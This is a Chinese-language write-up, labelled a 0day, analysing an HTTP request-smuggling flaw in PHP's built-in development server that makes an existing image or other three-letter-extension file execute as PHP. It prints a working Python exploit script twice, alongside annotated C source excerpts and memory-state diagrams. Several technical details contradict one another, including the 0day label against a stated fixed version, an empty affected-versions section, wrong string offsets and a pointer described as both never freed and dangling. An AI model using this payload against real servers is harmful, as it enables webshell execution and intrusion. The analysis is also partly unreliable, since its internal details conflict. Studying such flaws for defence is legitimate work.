[0DAY]PHP Built-in Server HTTP 请求走私漏洞

导语：PHP 内置服务器存在一个严重的 HTTP 请求走私漏洞，能让一张普通的图片文件变成可执行的 PHP 脚本。本文将从 Zend 内核层面深入剖析这个漏洞的原理。

一、漏洞效果演示

1.1 场景搭建

假设我们有一个目录，里面只有一个图片文件 test.jpg

/var/www/
└── test.jpg   # 文件内容其实是 PHP 代码

图片文件的内容实际上是 PHP 代码，但正常情况下访问它只会显示图片的原始字节，不会执行。

1.2 启动 PHP 内置服务器

php -S 127.0.0.1:8888

正常访问 http://127.0.0.1:8888/test.jpg，浏览器会显示图片的原始内容，PHP 代码不会被执行。

1.3 发送攻击 Payload

使用 Python 构造特殊的 HTTP 请求：

import socket

payload = b"GET /test.jpg HTTP/1.1\r\n" \
          b"Host: 127.0.0.1\r\n" \
          b"\r\n" \
          b"POST /x.php HTTP/1.1\r\n" \
          b"Host: 127.0.0.1\r\n" \
          b"Content-Length: 0\r\n" \
          b"\r\n"

s = socket.socket()
s.connect(("127.0.0.1", 8888))
s.send(payload)
print(s.recv(4096).decode())

1.4 神奇的事情发生了

发送 Payload 后，test.jpg 中的 PHP 代码被执行了！

关键点：

• • test.jpg 必须存在（任意三字符后缀的文件都可以）
• • x.php不需要存在
• • 两个请求被合并在一个 TCP 数据包中发送

二、漏洞原理剖析

2.1 漏洞描述

PHP Built-in Server 在处理 HTTP 请求时，使用了基于回调的事件驱动解析器 php_http_parser。当解析器在单次调用中接收到多个连续的 HTTP 请求时，会依次触发各个请求的回调函数。

核心问题：回调函数对 php_cli_server_request 结构体的字段进行直接覆盖，而没有正确的边界检查，导致：

第一个请求的 path_translated + 第二个请求的 ext = 类型混淆

最终，一个扩展名为 .xxx（任意三字符后缀，如 .png、.jpg、.bak、.gif、.zip 等）的文件会因为扩展名被错误地更新为 .php，而被 PHP 解释器当作脚本执行。

2.2 核心数据结构

请求结构体（php_cli_server_request）

文件位置：sapi/cli/php_cli_server.c

typedefstruct php_cli_server_request {
enum php_http_method request_method;     // GET, POST 等
    int protocol_version;                     // HTTP 版本号
    char *request_uri;                        // 原始 URI
    size_t request_uri_len;
    char *vpath;                              // 虚拟路径（从 URL 解析）
    size_t vpath_len;
    char *path_translated;                    // 文件系统路径
    size_t path_translated_len;               // 实际执行的文件
    char *path_info;                          // PATH_INFO
    size_t path_info_len;
    char *query_string;                       // 查询字符串
    size_t query_string_len;
    HashTable headers;                        // HTTP 头部
    HashTable headers_original_case;
    char *content;                            // POST 数据
    size_t content_len;
    const char *ext;                          // 扩展名指针
    size_t ext_len;                           // 指向 vpath 内部！
    zend_stat_t sb;                           // 文件状态
} php_cli_server_request;

关键字段说明：

1. 1. ext 是一个指针，指向 vpath 字符串的某个位置
2. 2. 当 vpath 被释放并重新分配时，ext 会变成悬空指针
3. 3. path_translated 是独立分配的，只有文件存在时才会更新

客户端结构体（php_cli_server_client）

typedefstruct php_cli_server_client {
struct php_cli_server *server;
    php_socket_t sock;
struct sockaddr *addr;
    socklen_t addr_len;
    char *addr_str;
    size_t addr_str_len;
    php_http_parser parser;
    unsigned int request_read:1;
    char *current_header_name;
    size_t current_header_name_len;
    unsigned int current_header_name_allocated:1;
    char *current_header_value;
    size_t current_header_value_len;
enum { HEADER_NONE=0, HEADER_FIELD, HEADER_VALUE } last_header_element;
    size_t post_read_offset;
    php_cli_server_request request;           // 共享的请求对象！
    unsigned int content_sender_initialized:1;
    php_cli_server_content_sender content_sender;
    int file_fd;
} php_cli_server_client;

问题所在：request 是一个共享的单例对象，多个 HTTP 请求会反复修改同一个 request 结构，没有针对管道化请求的隔离机制。

2.3 内存状态变化分析

以下是内存状态变化的层次结构分析：

┌────────────────────────────────────────┐
│  📦 php_cli_server_client              │
│  (客户端结构)                          │
├────────────────────────────────────────┤
│  • parser: [状态机]                    │
│  • request_read: 0 → 1                 │
│  • request ───────┐                    │
└───────────────────┼────────────────────┘
                    │
                    ▼
        ┌───────────────────────────────────┐
        │  📦 php_cli_server_request        │
        │  (请求对象)                       │
        ├───────────────────────────────────┤
        │                                   │
        │  ┌─────────────────────────────┐  │
        │  │ 阶段一：第一个请求完成      │  │
        │  ├─────────────────────────────┤  │
        │  │ vpath: "shell.php.bak"      │  │
        │  │          ↓                  │  │
        │  │ ext: → "bak" (0x1012)       │  │
        │  │ path_translated:            │  │
        │  │   "/var/www/shell.php.bak"  │  │
        │  └─────────────────────────────┘  │
        │                                   │
        │  ┌─────────────────────────────┐  │
        │  │ 阶段二：on_path() 调用后    │  │
        │  ├─────────────────────────────┤  │
        │  │ vpath: "phantom.php" (覆盖) │  │
        │  │          ↓                  │  │
        │  │ ext: → ❌ 悬空指针!         │  │
        │  │   (0x1012 指向已释放内存)   │  │
        │  │ path_translated: 未改变     │  │
        │  └─────────────────────────────┘  │
        │                                   │
        │  ┌─────────────────────────────┐  │
        │  │ 阶段三：on_complete() 后    │  │
        │  ├─────────────────────────────┤  │
        │  │ vpath: "phantom.php"        │  │
        │  │          ↓                  │  │
        │  │ ext: → "php" (0x1008)       │  │
        │  │ path_translated: 仍未改变   │  │
        │  │   "/var/www/shell.php.bak"  │  │
        │  │                               │  │
        │  │ ⚠️  类型混淆状态！           │  │
        │  └─────────────────────────────┘  │
        │                                   │
        └───────────────────────────────────┘

关键变化说明：

1. 1. 阶段一（第一个请求完成）
• • vpath 指向 "shell.php.bak"
• • ext 指向 vpath[18]，即 "bak"
• • path_translated 设置为 "/var/www/shell.php.bak"
2. 2. 阶段二（第二个请求 on_path 后）
• • vpath 被覆盖为 "phantom.php"
• • ext 仍为 0x1012，变成悬空指针！
• • path_translated未改变
3. 3. 阶段三（第二个请求完成后）
• • vpath 为 "phantom.php"
• • ext 更新为指向 vpath[8]，即 "php"
• • path_translated仍未改变
• • 最终状态：path_translated 指向 .bak 文件，但 ext 是 "php"

2.4 关键代码分析

请求读取入口

文件位置：sapi/cli/php_cli_server.c - php_cli_server_client_read_request

static int php_cli_server_client_read_request(
    php_cli_server_client *client,
    char **errstr)
{
    char buf[16384];  // 16KB 缓冲区，可容纳多个请求
    static const php_http_parser_settings settings = {
        php_cli_server_client_read_request_on_message_begin,
        php_cli_server_client_read_request_on_path,        // 关键回调！
        php_cli_server_client_read_request_on_query_string,
        php_cli_server_client_read_request_on_url,
        php_cli_server_client_read_request_on_fragment,
        php_cli_server_client_read_request_on_header_field,
        php_cli_server_client_read_request_on_header_value,
        php_cli_server_client_read_request_on_headers_complete,
        php_cli_server_client_read_request_on_body,
        php_cli_server_client_read_request_on_message_complete  // 关键回调！
    };
    size_t nbytes_consumed;
    int nbytes_read;

    // 【检查点】: 如果已读取完成，直接返回
    if (client->request_read) {
        return 1;  // ⚠️ 只在函数入口检查一次
    }

    // 从 socket 读取数据
    // 如果客户端发送了多个请求，可能一次性读入 buf
    nbytes_read = recv(client->sock, buf, sizeof(buf) - 1, 0);

    // ... 错误处理 ...

    client->parser.data = client;

    // 【漏洞触发点】: 调用 HTTP 解析器
    // 这个函数会解析 buf 中的所有完整请求
    // 每解析完一个请求，都会调用 on_message_complete
    nbytes_consumed = php_http_parser_execute(&client->parser,
                                              &settings,
                                              buf,
                                              nbytes_read);
    // ...
    return client->request_read ? 1 : 0;
}

问题分析：

• • client->request_read 检查只在函数入口执行一次
• • 无法阻止 php_http_parser_execute() 内部解析多个请求
• • 解析器会处理 buf 中的所有完整请求
• • 每遇到 \r\n\r\n（请求结束标记），就触发 on_message_complete

路径回调函数

static int php_cli_server_client_read_request_on_path(
    php_http_parser *parser,
    const char *at,      // 指向解析缓冲区中的路径字符串
    size_t length)       // 路径长度
{
    php_cli_server_client *client = parser->data;
    {
        char *vpath;
        size_t vpath_len;

        // 规范化虚拟路径（处理 URL 编码、相对路径等）
        normalize_vpath(&vpath, &vpath_len, at, length, 1);

        // ⚠️ 漏洞点: 无条件覆盖
        // 问题1: 没有检查 client->request_read 标志
        // 问题2: 直接覆盖指针，导致 ext 成为悬空指针
        // 问题3: 没有释放旧的 vpath 内存
        client->request.vpath = vpath;
        client->request.vpath_len = vpath_len;
    }
    return 0;
}

路径翻译函数

文件位置：sapi/cli/php_cli_server.c - php_cli_server_request_translate_vpath

static void php_cli_server_request_translate_vpath(
    php_cli_server_request *request,
    const char *document_root,
    size_t document_root_len)
{
    zend_stat_t sb;
    static const char *index_files[] = { "index.php", "index.html", NULL };

    // 分配缓冲区并构建完整路径
    char *buf = safe_pemalloc(1, request->vpath_len,
                              1 + document_root_len + 1 + sizeof("index.html"), 1);
    // ... 路径拼接逻辑 ...

    // 【关键循环】: 尝试 stat 文件
    while (q > buf) {
        if (!php_sys_stat(buf, &sb)) {
            // 文件存在
            if (sb.st_mode & S_IFDIR) {
                // 如果是目录，尝试查找 index 文件
                // ...
            }
            // 找到普通文件，跳出循环
            break;
        }

        // 文件不存在，尝试去掉最后一个路径组件
        // ...
    }

    // 如果第二个请求的文件（phantom.php）不存在，
    // 函数会直接 return，不修改 path_translated
    // 因此导致 path_translated 保持为第一个请求的值
}

扩展名提取函数

文件位置：sapi/cli/php_cli_server.c - php_cli_server_client_read_request_on_message_complete

static int php_cli_server_client_read_request_on_message_complete(php_http_parser *parser)
{
    php_cli_server_client *client = parser->data;

    // 设置协议版本
    client->request.protocol_version = parser->http_major * 100 + parser->http_minor;

    // 翻译虚拟路径为文件系统路径
    php_cli_server_request_translate_vpath(&client->request, 
                                           client->server->document_root, 
                                           client->server->document_root_len);

    // 提取文件扩展名
    {
        const char *vpath = client->request.vpath;
        const char *end = vpath + client->request.vpath_len;
        const char *p = end;

        client->request.ext = end;
        client->request.ext_len = 0;  // 默认设置：无扩展名

        // 从后向前查找最后一个 '.'
        while (p > vpath) {
            --p;
            if (*p == '.') {
                ++p;
                // ⚠️ 问题: ext 是一个普通指针，直接指向 vpath 的某个位置
                // 当 vpath 被释放或重新分配时，ext 会成为悬空指针
                client->request.ext = p;
                client->request.ext_len = end - p;
                break;
            }
        }
    }

    // 标记请求已读取
    // ⚠️ 问题: 这个标志的设置"太晚"了
    // 解析器在同一次 php_http_parser_execute 调用中，
    // 还会继续处理 buffer 中的剩余数据（第二个请求）
    client->request_read = 1;
    return 0;
}

请求分发函数

文件位置：sapi/cli/php_cli_server.c - php_cli_server_dispatch

static int php_cli_server_dispatch(php_cli_server *server, php_cli_server_client *client)
{
    int is_static_file = 0;
    SG(server_context) = client;

    // 【关键判断】通过 ext 和 path_translated 来判断文件类型
    if (client->request.ext_len != 3 ||
        memcmp(client->request.ext, "php", 3) || 
        !client->request.path_translated) {
        // 条件1: 扩展名长度 | 条件2: 扩展名内容 | 条件3: 路径有效性
        is_static_file = 1;
    }

    // ...

    if (!is_static_file) {
        // 当作 PHP 脚本执行
        // 使用 path_translated 作为脚本路径
        php_cli_server_dispatch_script(server, client);
    } else {
        // 当作静态文件处理
        php_cli_server_begin_send_static(server, client);
    }
    // ...
}

2.5 攻击流程总结

[图片占位13：攻击流程示意图]

                    ┌─────────────────────────────────────┐
                    │     攻击者发送走私请求              │
                    │  GET /shell.jpg + GET /phantom.php  │
                    └──────────────────┬──────────────────┘
                                       │
                                       ▼
┌─────────────────────────────────────────────────────────────────────┐
│                    单次 php_http_parser_execute() 调用              │
│                           处理多个请求                              │
└─────────────────────────────────────────────────────────────────────┘
                                       │
           ┌───────────────────────────┼───────────────────────────┐
           │                           │                           │
           ▼                           ▼                           ▼
┌───────────────────┐      ┌───────────────────┐      ┌───────────────────┐
│   第一个请求      │      │   第二个请求      │      │   dispatch()      │
│   (shell.jpg)     │      │   (phantom.php)   │      │   判断逻辑        │
├───────────────────┤      ├───────────────────┤      ├───────────────────┤
│ • 文件存在 ✓      │      │ • 文件不存在 ✗    │      │ ext_len == 3 ✓    │
│ • path_translated │  +   │ • path_translated │  →   │ ext == "php" ✓    │
│   = shell.jpg     │      │   未改变          │      │ path_translated   │
│                   │      │ • ext = "php"     │      │   != NULL ✓       │
└───────────────────┘      └───────────────────┘      ├───────────────────┤
                                                      │ is_static_file=0  │
                                                      │ 当作PHP执行!      │
                                                      └───────────────────┘

关键：第一个文件（任意三字符后缀的后门文件，必须存在）的处理方式由第二个文件（.php 结尾，不需要存在）的扩展名决定。当第二个请求的 ext 被识别为 "php" 时，is_static_file 被设为 0，触发 php_cli_server_dispatch_script() 将第一个请求的静态文件作为 PHP 代码执行。

三、影响范围

3.1 受影响的版本

3.2 利用条件

1. 1. 目标使用 php -S 启动的内置服务器
2. 2. Web 目录可上传文件，或者存在任意三字符后缀的 webshell 文件

四、漏洞利用 Payload

import socket

# 构造走私请求
# 第一个请求：GET /test.jpg（目标文件，必须存在）
# 第二个请求：POST /x.php（控制扩展名，不需要存在）
payload = b"GET /test.jpg HTTP/1.1\r\n" \
          b"Host: 127.0.0.1\r\n" \
          b"\r\n" \
          b"POST /x.php HTTP/1.1\r\n" \
          b"Host: 127.0.0.1\r\n" \
          b"Content-Length: 0\r\n" \
          b"\r\n"

s = socket.socket()
s.connect(("127.0.0.1", 8888))
s.send(payload)
print(s.recv(4096).decode())

五、修复建议

1. 1. 升级 PHP 版本：将 PHP 升级到 7.4.22 或更高版本
2. 2. 避免生产环境使用：php -S 内置服务器仅适用于开发调试，切勿用于生产环境
3. 3. 使用专业 Web 服务器：生产环境应使用 Nginx、Apache 等专业 Web 服务器

六、总结

这个漏洞的精髓在于状态混淆：

• • path_translated 和 ext 两个字段的更新时机不一致
• • 管道化请求的处理缺乏隔离机制
• • 悬空指针导致扩展名判断错误

通过精心构造的 HTTP 请求走私，攻击者可以让服务器将任意静态文件误判为 PHP 脚本执行，从而实现代码执行。

参考资料

• • PHP 源码：https://www.php.net/distributions/php-7.3.4.tar.gz

文稿 | ph@nt0m

本文仅供安全研究与学习交流，请勿用于非法用途。